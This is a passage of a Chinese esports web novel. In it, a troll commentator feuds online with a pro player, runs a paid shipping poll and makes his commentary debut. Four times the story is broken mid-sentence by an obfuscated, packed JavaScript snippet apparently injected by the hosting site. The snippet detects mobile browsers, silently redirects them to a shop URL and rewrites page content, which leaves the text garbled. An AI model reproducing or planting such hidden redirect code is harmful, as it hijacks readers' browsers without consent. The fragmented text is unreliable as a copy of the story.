【我不来看羊崽一眼我睡不着,看完了恶心得睡不着。】 【羊崽什么时候开直播啊,真的好无聊。】 【@羊崽,出来骂人。】 【@羊崽,父亲节快要到了,还不来祝福你的父亲们吗?】 【大家来看看这是zonke吗?[图片][图片][图片]】 第一张,穿着黑色卫衣的男生站在一辆车边,垂着眸子,踢地上的易拉罐。 第二张,他拎着一个外卖保温的锡纸袋,印的还是国潮打着扇子女孩。 第三张,他上了一辆车,红色的。 拍照的人很有素质地打码了车牌,整个对焦都在这个男孩儿身上。 【是啊,这张脸臭得要死,这都认不出来?】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808781|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【他吃的什么呀?】 【我去吃夜市的时候遇上的,越看越像,不知道他吃的什么。】 【可是PAX俱乐部不是很有钱吗?还让选手吃国潮?都是预制菜!】 扯什么淡呢,陆意扬脚边垃圾桶里国潮包装袋都还没扔掉,他就觉得这个好吃,这帮人懂什么? 【那么有钱还给女朋友吃国潮?他后面的是黄焖□□?】 【也可能是给队友带的啊。】 【这就瞎说了,PAX厨房的菜比训练室的菜好多了。】 【比赛刚打完就出来买,不是给女朋友那是给谁?】 【@羊崽,速挖!黑他的时候来了!】 黑什么?黑他给女朋友买黄焖鸡? 还是黑国潮预制菜都不好吃? 【[图片]别猜了,zonke给我买的@PAX-zonke。】 【[图片]楼上的自作多情了,是给我买的。】 图片纷纷开始展示自己刚吃完的国潮包装,从烤冷面到肉夹馍,从汉堡包到麻辣烫。 一溜,拉了几十楼。 【迟早混进来一个真的。】 【当职业选手的女朋友也不咋样,还不是一样要吃国潮?】 【@PAX-zonke,买了什么好吃的?】 【是给女朋友买的吗?@PAX-zonke】 【羊崽:[图片]给我买的[害羞][害羞]】 【没拿到冠军妈妈不允许你恋爱的!】 【给女朋友吃点好的吧!没钱爹给你打赏还不行吗?】 【PAX-zonke:嗯】 【他在这嗯什么呢。】 【不会是真的有女朋友了吧?】 【业内保真,zonke没有女友。】 刚刚这微博下面只有寥寥一点留言,有zonke的照片之后猛的访问量就增长了,陆意扬觉得他应该添油加醋。 【羊崽:谈什么恋爱?拿到冠军了吗你就谈?@PAX-zonke】 【羊崽:为父不得不批评你了,我都没谈你谈什么?】 【羊崽:一天天的心思不放在比赛上,难怪越来越菜。】 【羊崽:hello?我说不能谈!速去分手!看见了吗?】 【你又发什么羊癫疯,人家谈不谈跟你有什么关系!】 【神经,zonke谈恋爱还需要你同意啊?】 ...... 评论区比预制菜制作工坊还乱。 【PAX-zonke:需要的。】 毕竟陆意扬手上的游戏女主播女玩家的八卦太多了,真要看人品还得上羊崽这里查询一下女主历史物料,这都是大家都知道的事儿。 陆意扬奇怪,他不是一向比赛脑吗?真要谈恋爱? 陆意扬恨恨道,妈的,被人带坏了,这小子从前不搞这些东西的。 就说这人没出息吧,真纯浪费天赋,知不知道现在蓝色星球上最牛逼的中单就是因为保留了处子之身才能若干连冠?这东西是磁场知道吗,是保护罩知道吗,真服了。 狗屁不懂,还想着谈恋爱。 生气。 但是陆意扬还真的有点好奇,他怎么会突然这样? 谈恋爱.....能比打游戏还有意思? 【N:还玩吗?】 “我在想谈恋爱的事。” 【N:1】 22. 乐在其中 陆意扬今天得上学,就是春困。 但是花的是自己的血汗钱所以哪怕眼睛都睁不开了他的手还在鬼画符,企图学到一些知识,他的脑袋都在桌子上歪着差点磕到的时候,手机响了一下,是芳姨。 一张照片,是电竞椅到了。 电竞判官在网上连抽奖来的东西都得绕三道拐才能到他手上。 快递送货上门,没一会儿就安装好了。 陆意扬拍了一个照片,发在自己的微博上,并配文: 【羊崽:安利这款力风电竞椅,贴合脊柱曲线,模拟zonke哥哥的怀抱,大仰角设计,让羊崽在上面睡觉也没有问题哦,感谢zonke哥哥送给人家的宝宝椅,家人们给zonke哥哥冲冲销量哦!链接&hettp://...】 没一会儿他的微博下面就开始盖楼。 【大家别买!他的购买链接点进去还会给他佣金!】 【我真的信了,我还真以为是给zonke冲业绩。】 【这才是正版的zonke的链接:http://...】 【好恶心,你知道自己在说什么吗!】 【没送你就是轮椅,送你就是宝宝椅,真是变如脸。】 【本来还想买,一想到是黑子同款就不想买了。】 【其他人发广告数据稀巴烂,羊崽一条顶人家十条推广好吗。】 PAX-zonke赞过。 【我突然发现了一件事!!!zonke的微博除了发广告就是跟羊崽互动。】 【嘿嘿好邪门的CP嘿嘿嘿有厨子吗?】 【宿敌就是妻子(bushi)】 【滚!腐女看谁都是基?】 【那你给我一个zonke只跟羊崽互动的理由?】 【我战斗羊这么强势,必然是我羊在上。】 【你羊你羊,羊最擅长的事情是什么?羊萎?】 【你家zonke毛都没长齐,小胳膊小腿的还想按羊?】 【+1,我投羊上。】 【我投羊下,邪不压正。】 【别吵了,把他俩叫过来问问就行了。@PAX-zonke@羊崽,你们俩上床谁上谁下?】 这一楼盖楼的质量相当高。 类比于平常很多都只是复制黏贴或者骂人的楼来说实在新奇。 陆意扬似乎看到了新的话题! 陆意扬死了二十三年的商业嗅觉在大事上出奇地灵敏! 他坐在电竞椅上,他似乎已经看见了没完没了的热度,打赏,话题,他搓着自己的手指,感觉热血沸腾! 不行,我得抓紧时间,这人要是真去谈恋爱了被流民们拍到的话,我这个绝好的点子就吃不到钱了! 【羊崽:害羞死了,什么谁上谁下,人家不懂,看你们的意思。】 接着,他直接开了一个投票—— 一毛钱投一次。 【羊上vs羊下】 zonke的粉丝们,出、手、吧! 陆意扬小幅度旋转着椅子,静静地看着投票,哪怕是一毛一毛的,也架不住人多,陆意扬觉得自己真是个天才。 【各位都是来自西安市雁塔区雁塔西路与佳膳坊交叉口160米吗?】 【这么煞笔的投票也会有人投?】 【他在圈钱!】 【勿圈zonke卖腐,你自己愿意被脆皮炎你自己去OK?】 【羊崽真的越来越恶心了,男表子说的是你自己吗?】 【我看zonke也挺乐在其中啊,他为什么不反抗?】① 【我们羊崽就是这样的人,被折磨了只能说你们活该咯。】 陆意扬觉得自己就应该吃互联网这口饭,一个推广能有这么高的阅览量就算了,连盖楼都是一刷新一百层,他觉得巴菲特要是请他吃午饭也不是不可以。 投票数量还在蹭蹭涨,陆意扬一拍脑门,突然想起来小粉丝还在等他。 他赶紧关了微博,上了游戏。 看见小粉丝在线,他就发起了拉他的请求。 “刚刚有点事儿,收快递去了,朋友送的礼物。”陆意扬说,“耽误了一点时间,来了来了。” 【N:没事。】 “我换椅子了,这个椅子舒服多了,”陆意扬说,“等我很久吗?” 【N:刚到。】 “打几把。”陆意扬说,“你一会儿有事儿吗?” 【N:不一定。】 “那先玩吧,有事儿你就走。”陆意扬C房进入排位,但是刚排到,对面就发了好几个问号,又是风筝战队的老熟人,是三人组队来蹲的。 讲话一如既往的难听,陆意扬有点烦他们,但是又没招,吵着要打什么恩怨,上个分而已,怎么就搞成这样了,当然了,因为他一直都是「羊崽」的账号强度的辱骂,他们就根本入不了什么眼,但比较烦的还是他们一直在蹲,排到陆意扬这边就开始送。 打了两把,陆意扬感觉今天小粉丝的心情很差。 【N:有事,很快回来。】 “喔,好的呀,”陆意扬说,“我正好也休息一下。” 陆意扬伸了个懒腰,就切到自己的微博上。 估计是没人见过自己给自己发起的上下投票,评论区吵得热火朝天。 【我之前对这个黑粉无感,但是今天真挺让人想yue的。】 【赶紧举报吧,这也太恶心了。】 【举报了,但是不成立,因为投票内容看不出来什么意思。】 【一票一毛,他现在都已经挣了一万了。】 【各位圣母别管得太多。】 【看羊崽就是图一乐,真要看笑话,还得各位真情实感追竞人的破防。】 【zonke粉丝也不行啊,羊上占了67%!】 【谁愿意给这个煞笔花钱?】 【没实力就回去趴着。】 【算了,刷到什么就磕什么吧。】 【《全世界都以为我们是宿敌》:羊崽掉马后被全网追杀,浑身是血的他撑着自己最后一口气敲响了PAX俱乐部的门,他抓住了zonke的肩膀,“除了你这里,我不知道我还能去哪里...”&】 【《退网后我才知道我爱他》:多年后的zonke已经连冠捧杯,金色桂雨落下的时候他的眼神有一瞬间的涣散,他最想证明的事情已经实现,但是他想见证的那个人却已经不在,多少年都未发博的羊崽那日却发了一条博文...&hettp://feiW896...】 【致敬所有在战火中做饭的厨子。】 —— 同一时刻,PAX训练基地。 “哥,”小5有气无力地搭在电竞椅上,整个人都要滑下去了,“就这啊?” “你起码还摸到他们人了,我连人头都抢不到,”B哥说,“无聊。” 风筝战队当时就是给PAX官博留言想要前辈给机会指导一下,但是完全没想到PAX真的会答应跟他们练团。 说起这个小5都无语。 椰哥边吃午饭的时候问最近不少队伍来问练团,有没有想练一练的队伍。 跟SUA打呢,他们一直都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808782|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么新的想法,打完真是复盘都恶心。 PIK那个辅助心态不好,输不起,一输就开始唱大戏。 跟INE之间春季赛都夹了个耳机代言,那都是品牌方搞鬼,队伍都是炮灰,搞得好像抢了他们家的钱似的看不上人。 各种队伍约战消息,但是他哥,从来都不选队伍的人硬生生开口了,指了上面一个队伍。 一个打WSPL都上不来的队伍,他哥非说有眼缘,各位有点看不上,他哥说包一个月的夜宵。 小5记得这个队伍昨天好像还开超级喇叭不知道在滚刀小玩家来着。 他们打野玩得很紧张,频频都在失误,中单在zonke的手上都吃不到兵线,zonke的打法本来就凶猛,但是这次打他们却似乎连面子都不打算给,一般这样友谊赛的练团都是点到为止,互相留点面子。 但是今天的PAX连10人头都没打算让他们上尤其是zonke,完全可以说是开启了屠杀模式,大战队虐小战队本是不光彩的,但是架不住对面的人基本不敢说什么坏话,技不如人总得给自己留「体面」。 十五分钟血虐结束,其他四人退出游戏。 风筝战队还以为对面的zonke真要对他们进行指导,一个个耳提面命。 【PAX-zonke:不要再打扰我跟他玩游戏,能听懂吗?】 等风筝战队的人反应过来的时候,他已经离开了游戏房间。 B哥已经掏出手机开始点菜。 “说好的,没上限啊。”他点了一家蛮贵的,然后把手机传过去让小5点。 “我要吃这个这个这个,”小5聚精会神地点菜,“坑我哥一把。” 接着把手机传给K哥跟飞星。 “一会儿给我发代付。”谈年说着话,又回到游戏上。 “等会儿!”小5点完菜正在往上冲浪,看见了那个奇葩的投票,惊呼,“这是什么呀?” B哥凑过去看,小5鬼鬼祟祟地说,“评论笑死我了。” 谈年还是一本正经地坐在电脑面前。 “我也想投票,我投我哥是1,”小5小声地蛐蛐,“我拿小号投。” “你别又切错号吃瓜,”K哥说,“不然椰哥又骂你。” “什么投票?”吕飞星的耳朵间歇性耳聋,“谁第一?” “什么投票?”谈年还在看现版本其他队伍的BP。 “就是...”小5说,“还是你自己看吧。” 谈年点开了陆意扬的微博,他的微博涨粉能力惊人,但是映入眼帘的就是一个红蓝投票。 还有该博主在上面大放厥词。 【羊崽:见过zonke本人,是羊崽的理想型。】 【羊崽:黑他也只不过为了引起他的注意,我们看绿江小说的都这样。】 【羊崽:虽然也让你们意内了,但还是感谢大家祝福我们这对旧人。】 【羊崽:投票超过50万羊崽就开始追求zonke并直播。】 【羊崽:感谢大家投票支持啊!】 【羊崽:投一毛钱就当随礼了,毕竟我们俩都挺不值钱。】 陆意扬又在那里满嘴跑火车。 “他怎么每天都能唱戏,”小5嬉笑,“这么有节目,难怪人气高。” 谈年滑了几下,又把手机还给了小5。 “你说他投票真过了50万他怎么办呀?”小5摆弄着手机说,“我都想找刷票的给他刷了。” “可以刷票?” 小5有点困惑地转过来,“哥,你也不混网,你看得懂他开的什么投票吗你就要争第一?” 23. 老师你好 陆意扬这两天忙得头脚倒悬,早上要早早起来去上课,下午要看之前的比赛回放,了解每个选手的出装跟习惯,他抽中的这几场解说里面基本涵盖了所有的队伍,托着自己的下巴,陆意扬看得直打哈欠。 其实很多解说都没有民间大神的点评犀利,所以陆意扬都会先看一下热评再去观看比赛,这样效率会高很多,然后再纠正一些比较片面的想法。 他也没时间跟小粉丝打游戏,这是他的WPL赛事解说初秀,说来他也解说过不少比赛,但是都没有这么紧张。 他们的抽签真的非常草台班子,在陆意扬的想法里面,这起码得到大厦里面大家互相握手然后坐下来,客套一番之后再抽签,抽完之后再互相熟悉一下,再说一番无用的垃圾话。 但是WATA2的赛事组直接拉了一个群,发了6毛钱的红包,6个人抢,按照领取顺序,12一组,34一组,56一组。 然后大家就在里面发了一些如陆意扬所料的垃圾表情包。 陆意扬反思自己为什么会对这个游戏抱有那么高的期望。 这群里的几个人陆意扬稍微有点儿知道,跟他一组的是个男的,一个快嘴,大嘴的情绪带动其实不错,但是快嘴带来的反面效果就是特急,特没营养,就是把场上释放的技能按了倍数念出来而已,多了有点聒噪,而且最关键的,在他边上解说特容易没有存在感,因为大家的注意力都在他身上。 抽都抽了,能怎么办呢。 今天陆意扬就要去解说了,他在地铁上补了一会觉,下车的时候去卫生间洗了一把脸,就就往WATA大楼去。 路过隔壁的海底捞,又看见了照片打印机。 还要捞币,真舍不得,但是最终扫码打印了一张。 zonke的照片他都从他的微博找的,基本都是一些宣传照,冷着脸,有点装逼。 他们在常规赛的时候都是在基地打的,常规赛之后才会有线下的对决。 所以陆意扬不知道什么时候才能再遇到他,但是跟小粉丝承诺都承诺了,也没办法。 说来就生气,本来不是说那电竞椅送签名照吗,结果根本没给。 本来想去闲鱼收一张,看完价格都觉得不如自己去要一张得了。 陆意扬背着包走进大楼,给解说的就是一间直播房,后面搭了一些景,解说后面的壁纸都是后期p上去的,这里的摆件都能当赛事经理了,桌子上放着一些手办,边上还有一个玻璃房,里面有沙发,看着上台面一点,只提供给选手坐在这里采访。 陆意扬跟化妆间找珂珂打了个招呼,这会儿是下午六点,离七点的比赛开始还有一个小时。这次要感谢的广告商还是那么几个,口播反正就来来回回念几下就行。 “来啦。”珂珂过来了。 陆意扬把手上从前台取的奶茶拿上来,“给你们的。” “小六老师太客气拉。”珂珂接过了奶茶,“谢谢!” “应该的。”陆意扬说,“我先刷白墙?” “嗯。”珂珂说,“大嘴老师好像去前面那个房间里听他们开会去了。” “开什么会啊,”陆意扬把包放下,“没通知我呀。” 珂珂神神秘秘地说,“PAX的经纪人来了,来谈PAX的直播合同的事情,他们之前的在八戒TV那时候是官方牵线的,但是还有不少时间,他们经纪人要官方出面终止跟八戒的合同,一直拖八戒那边也赔不起,要来元宝吗。” “哦,”陆意扬说,“我还以为是比赛的事儿呢。” “好几个经纪人呢,但是PAX的钱是大头。”珂珂喝了一口奶茶,突然像看见了什么鬼一样猛拍陆意扬的肩膀,陆意扬转头一看。 隔着长虹玻璃房,白色卫衣的少年,带着一顶渐变粉黑棒球帽,就往他们这儿走来。 啊,他不是晚上还有比赛吗,要是前一组打得快的话他很快就要比赛,怎么这个点还在官方大楼? 陆意扬想起他还有照片想要他的签名,他走来的步子有点慢,陆意扬抠了抠脸踌躇了两步刚想上去要签名,就看见转角有人把他拦住了,从包里掏出来什么。 在要签名? 陆意扬觉得自己可以去排队。 他面前的女孩儿被拒绝了,他看见zonke摆了摆手。 啊,不就是要个签名吗? 陆意扬又把自己手里的照片藏在身后。 但是步子又不能停下,所以他选了跟zonke擦肩而过。 却听见他不轻不重地对那女孩儿说,“不能签在空白的纸上,你去拿别的,我等你。” 呀,这么回事,那不误会了吗。 陆意扬的脚步停滞,有点想倒退,手上那张照片还捏在手里,如何才能不尴尬贼丝滑地跟他要签名。 于是陆意扬错肩之后一个正步又折回来,抠了抠脸,“我,我也排队zonke老师。” 对面的少年帽檐压得很低,听了这话抿了下唇只是陆意扬的视角并看不见,白皙的手指接过陆意扬的手上的照片,头都没抬,“小六老师也看我的比赛吗?” 居然还能记得自己是谁。 但是上次在沪宁的城市赛他还好好舔了一波,被记住了? 真离谱啊,两个大喷子在这里互称对方老师??? 陆意扬只能打哈哈,有点心虚,“我特别喜欢您,晚点还要解说您的比赛呢,说错的地方您多海涵。” 他低头签字,也不知道签得是什么,像蛇一样扭来扭去,好丑。 “小六老师。”他叼着笔帽,把照片递给陆意扬的时候抬起头来。 “啊。” “我也经常看您的解说。” 商业互吹是吗,真看不出来你这个喷子这么礼貌。 “喔,喔是吗,”陆意扬说:“说得不好,让你见笑。” “我觉得很好。” 这叫陆意扬咋回答,要是是隔着网线他可以手指翻飞的指着他的脑门说,那特么用你说?显得你了? 但是现在的陆意扬只能腼腆地说:“您过奖了。” 接着又赶紧再补,“zonke老师您要忙就,赶紧忙去吧,我就不耽误你时间了。” “我不忙。” 这叫陆意扬尬聊什么? “喔,那....那我忙去了?”陆意扬有点想跑了。 “你们还得要一会儿。” 不是兄弟.... 好尴尬啊,尴尬得像我看见你的白屁股那次一样。 除了想起来白屁股,他还想起来了那些网络流民倒反天罡的留言,包括他自己发起的投票,这一下手都抖了,照片都没拿稳。 “见到了崇拜的偶像,有一点紧张,”陆意扬想去把照片拾起来,“不好意思。” 对面的少年蹲下捡起照片,手指都碰到了! 陆意扬如触电一般收回。 他再次递给陆意扬,意味深长地看了他一眼,捡起来的时候说,“我也很紧张。” 你紧张个毛。 还好前面有人叫他,他要走了。 陆意扬呼出一口大气,汗都要下来了。 陆意扬把照片收进包里又拿出来,拍了个照片给小粉丝。 【6老板:[图片]我给你要来了,喜欢吗?】 陆意扬似乎听见不远处有一声WATA2特有的煞笔提示音响起,但是实在太远了,而且这儿有点吵。 【N:谢谢。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808783|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【6老板:人长得挺帅的。】 【N:哦。】 【6老板:但是签名没事可以去练练,跟医生开青霉素似的。】 【N:。】 【6老板:你在等我的解说了吗?】 【N:嗯。】 【6老板:回头照片寄给你吗,还是?】 【N:有机会我找你来拿。】 他匆匆关闭了手机就往前面走去,他要穿的衣服已经找出来了,等着他还完衣服去试一下镜头。 陆意扬换好衣服过来解说室,就看见zonke坐在他的位置上,手里捏着他的三角名牌,见他来了放了回去。 陆意扬又吓了一跳,站在门口有点不敢进来了。 大嘴看见zonke坐在这里,不放过任何一个蹭热度的机会,边走边打开手机,“zonke大神,我非常喜欢您的,今天来解说你的比赛很早就开始准备了,想跟你合个影可以吗?” 陆意扬人都要躲到门后面去了,原来粉丝还得抓住机会上去合影啊,那我不上去要合影会不会显得我不像粉丝了?但是鬼才要跟他合影啊。 陆意扬满脸写着看不见我看不见我看不见我。 zonke的眼神飘过陆意扬,客气道,“这里好像不让拍照。” 确实,这桌子上扔了许多流程本,还有一些未公开的游戏影像,玻璃房里还有工作人员。 zonke与陆意扬点头示意,离开了直播室。 陆意扬与大嘴二人坐下,大嘴的话很多,撞了一下陆意扬,“他刚刚就是故意不想跟我拍照,想拍的话走出去两步就可以去走廊拍了。” “啊。”陆意扬整理着流程本,“可能他们有要求吧。” “怕我们蹭热度拉人气票呗,”大嘴说,“你找别的选手给你拉票了吗?你都找的谁啊?” “我没有。”陆意扬没有特别熟悉的选手,更遑论能帮他拉票的了。 “那你费劲了,”大嘴说,“我找了几个退役的帮我拉票,已经说好了。” “哦,”陆意扬点点头,“再看吧。” “第一场我给你当副解吧。”大嘴这么说。 因为PAX的比赛显然会好看一点儿,他这话的意思就是第二场陆意扬给他当副解。 陆意扬要是从前那些不太重要的比赛那就算了,但是小粉丝为了他的解说之路能顺一点儿出钱又出力,到这个时候还要陆意扬自己不争气,哪有这一说? 所以,陆意扬说,“我发一红包,咱俩抢,谁抢的多谁第一场当主解。” 大嘴上下打量了一下陆意扬,有点不爽,论名气,大嘴的快嘴解说还比陆意扬出名一些,他的微博账号也比陆意扬那个死了的解说号强多了。 大嘴轻嗤了一声。 陆意扬也不买他的账。 “那就各讲各的吧,”陆意扬抱以一个友善的微笑,然后坐正了。 陆意扬低头给小粉丝发消息: 【6老板:还要投票,我去哪里拉啊这种鬼东西啊。】 【N:要人气?】 【6老板:烦死了。】 【N:哦,不用烦。】 确实不用烦。 烦也没用啊。 陆意扬收起手机,刚打算拿起已经滚瓜烂熟的台本再背一次的时候,冤家又发微博了。 陆意扬的眼皮一跳,这逼不会说解说追着要跟他合照,追着要跟他要签名吧? 耳麦的里的提示音滴答滴地已经响起,陆意扬匆匆看了一眼。 【PAX-zonke:转发://[WATA2春季....】 他也会帮官方发比赛通知? 肯定是经纪人抢他手机了。 24. 很重视了 前面提词器上的倒计时已经开始了。 陆意扬切换表情,在切换镜头的下一秒顺畅开始:“力风电竞椅,王座助WATA,欢迎大家在北京时间晚七点观看我们的WATA2春季赛第四比赛日的比赛,初次与大家在WPL联赛见面,我是解说小六。” “我是解说大嘴。” “第一场为大家带来的是SUA对阵DREAM,首先我们先来看两边队员在本赛季的数据情况。” 导播接话切到数据面板。 大嘴道,“比较明显的是二队二号位的数据情况,DREAM战队的上单相较于SUA来说,无论是承伤情况还是参团率都有差距,这个点DREAM战队会不会在今天特意做一些措施呢?” 陆意扬接话,“接着就是一号位的经济面板,值得注意的是,两边C位的经济在前面20分钟平均金钱取得上数据条差了不少,但是在个人输出跟全队输出占比数据里面,DREAM战队的C位却能与SUA战队不相上下,这么看来,两个队伍还是势均力敌。” “是的,其他的数据没有明显的短板或者长条,那么让我们来进入游戏的BP。”大嘴微笑着说。 导播将镜头切向游戏,这时候两边的解说开始拉家常。 “小六老师,这两队伍您预测将是一个什么战局呢?”大嘴笑眯眯地问。 就算要预测都是等阵容拿出来之后,依照阵容跟两方选手来做的,但是上来就问的,不就是给人挖坑吗。 “按照以往SUA对阵DREAM的赛事来说,最近一年在队伍小规模有人员变动的情况下,交战赛事与质量练团的12场比赛里,SUA战队的胜率更高一点,但是最近的DREAM势头也是很猛,”陆意扬丝滑接过,“真不好说,今天肯定是精彩的赛事,那么大老师对今天的比赛肯定也已经做了预测了,您觉得呢?” 陆意扬用数据说话,刷了一波功课扎实的好感度,坑一下子被填平不说还给大嘴挖了一个新坑。 大嘴哈哈一笑,道,“好的,这边SUA首先ban掉了的都是这版本相当强势的C位,然后一手拿到了一个上单,SUA对自己的上单位非常的自信,但是小六老师对SUA的C位能力有点儿担忧,我们来看看第几手能拿到。” ? 谁担心了? 陆意扬本来没打算第一场解说就为自己树敌,但是看起来不得不行。 他明里暗里的就在曲解陆意扬的话。 “所有队伍C位的选择对整场比赛的影响力都非常大,DREAM战队的C位比较出色的就是敢单刀,敢操作,勇者胜的魄力吧,SUA战队的C位个人就是大江流的稳健,稳健的打法适合他们战队。” 陆意扬都不知道一个SUA打DREAM都会让他不但要防着自己说错话,还要防着别人跟他挖坑? 其实两个队伍都是运营队,打得并不冒险,整个战局四平八稳,整场比赛最精彩的居然是两个解说的互坑。 【这个小六怎么感觉一直在卖弄自己看过很多场比赛?】 【你怎么不看看大嘴怎么给他挖坑?】 【大嘴怎么老是让这个小六回答刁钻的问题。】 【WATA2的老艺术家们天天只会捧臭脚。】 【这个小六解说是新来的吗?】 【喜欢这种拿数据说话的解说。】 大嘴开始秀他的快嘴解说,上来就哐当站起来,“现在我们可以看见中路已经迎来一波正面的团战,对于这场团战两边都是势在必得...” 大嘴不喘气叭叭叭输出,将所有的技能都复述了一遍,这是他的优势。 陆意扬慢悠悠接话道,“这一波团战的拉扯做的非常到位,大嘴老师也非常地激情。这次碰撞产生了一换一,不得不说两边队伍都非常冷静,冷静确实能让关键团的处理更细节,碰撞之后SUA应该要开始下路二人组的小规模对抗,慢慢蚕食这场比赛。” 【哈哈哈哈哈大嘴都叭叭叭一大堆结果一换一。】 【小六是在嘲讽大嘴吗?】 【大嘴本来就快嘴解说,风格就这样啊。】 【就光说一堆技能有什么用啊?难道我看不懂吗?】 【能流畅分析加上关键点就好了,大嘴有什么错?】 【大嘴个个都打关键帧。】 团战之后各单位都要再次发育等技能,进入一个枯燥的发育段,陆意扬要更进一步地坑他了。 “比赛进入到19分钟,第一个Boss都已经取得,但是人头比来只来到到11比13,两边只差了2K经济,双方都在比拼细节,大嘴老师,你说这第一把会不会是一个持久战呢?” “按照目前的局势来说是的,双方都小心翼翼,这一把可能需要打大后期,会到40分钟左右。” 其实40分钟是一个很有意思的说法,从30以上到50以下都是40分钟。 “刚刚我注意到了DREAM战队的辅助带灯未插跟着打野一直想要蹲人,想要先带走中单或者C位之后再找机会逼塔,SUA二号位的视角频繁地在切boss坑,而且他手上攒了钱却没有买装备,这一波他可能随时准备买活,所以,我个人觉得短时间内,会有一波boss坑的相抗。” 言出法随,20分钟的节点,DREAM的二号位想要吃掉boss坑的振奋旗帜跟复活金丹,集合五人注意各自走位,剩下C猛点boss,说时迟那时快一波抢boss的团战瞬间拉开。 这次的陆意扬没有给快嘴解说的机会,他立马接话道—— “SUA的青石在这个位置已经有想法,三技能一波将对方三将振开,战场切割成功,接着中单先秒掉辅助非常关键,DREAM这波没有长续航辅助打野只能硬扛,而SUA的辅助大家注意到他只保C位,输出走位躲开技能,接着开启御魔盘子点,点点,点死对面中单,DREAM失去输出,青石还在粘住追人,SUA方势如破竹,人头比直接打开,乘胜追击为不败法则,SUA家的C位非常果断TP清线,后方队友打扫残局,接着来到中路二塔汇合,离DREAM英雄复活还有二十多秒,但是这二十多秒已经够SUA开启高地围杀,这一波团战,实则是两个上单的较量,从一开始我们大嘴老师就提出了这一点,大嘴老师慧眼如炬。” 抑扬顿挫,口齿清晰,不疾不徐,比较适合这样拉扯分割的局势,从开团位到团战输出点都聊明白了,在团战之后既预判比赛走势,又点出失误赛点。 最后还捧了一下搭档的臭脚。 【这个解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808784|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是哪里冒出来的?】 【我感觉解说的比前两天那个小胖墩好多了。】 【听起来还是挺流畅的。】 【这个解说的声音好听。】 ... 很快比赛走近尾声。 陆意扬说,“恭喜我们的SUA战队获得本次比赛的胜利,也恭喜青石获得全场MVP,实至名归,好的,让我们稍事休息,解说席与您一会儿再见。” 陆意扬连跟大嘴的握手都没有,导播切了镜头之后就直接起身去了卫生间。 其实他对自己今天的解说大体上来说还是满意的,双方都是成熟的战队,不像那些低级的小比赛那有时候都搞不懂他们在想什么,预判也白预判,还惹笑话。 成熟的比赛思路想法,出装阵容都相对来说非常熟悉,有点套壳的意思。 陆意扬的手机响了。 【N:[赞]】 【6老板:你怎么知道我在等你的消息?】 【N:我不知道。】 【6老板:你现在知道了。】 【N:你的搭档对你不好。】 【6老板:你都看出来了?我老烦他了。】 休息的时间有十五分钟,陆意扬还想去后面楼梯间抽根烟。 他这会儿想起他的冤家了。 陆意扬叼着烟,袅袅的白雾遮盖他的眼眸,他打开他冤家的微博一看。 他冤家今天也不知道抽什么疯。 【PAX-zonke:[拥抱][握手][拳头][胜利][OK][强][点赞][拳头][握手][加油][OK][强][强][支持][爱心][玫瑰][加油][OK][胜利][点赞][握手]:转发://WATA2春季赛PAX vs R21即将开启,特邀新晋解说 @解说小六...】 【哟,这次打R21这么激动呢?】 【今天一定要好好打啊。】 【看得出来zonke对打R21很重视了。】 【我儿子在这吗?@羊崽 】 【找不到那是好消息啊,可能是死了。】 【羊崽的投票怎么还在!官方不管?】 【行,回头我说他。】 陆意扬切回去一看,就这一会儿,投票又往上冲了,就是这个数据这么快啊? 来不及多想,他吸了最后一口烟,捻灭了烟头,还要回去对付那个煞笔大嘴。 他要是不想消停,陆意扬还会继续给他挖坑,比什么啊?比游戏理解吗?比看的游戏谁多吗?比谁的嘴皮子利索吗? 当老子来这儿吃素了? 这仅仅是SUA的比赛,PAX的比赛我还要更强势,那TM是我「主队」。 陆意扬插着兜,轻轻吹了一声口哨,我打不了游戏那又怎么了? 打不了游戏我就干解说,只要给我机会,我能连你小子都吃不了? 搞笑。 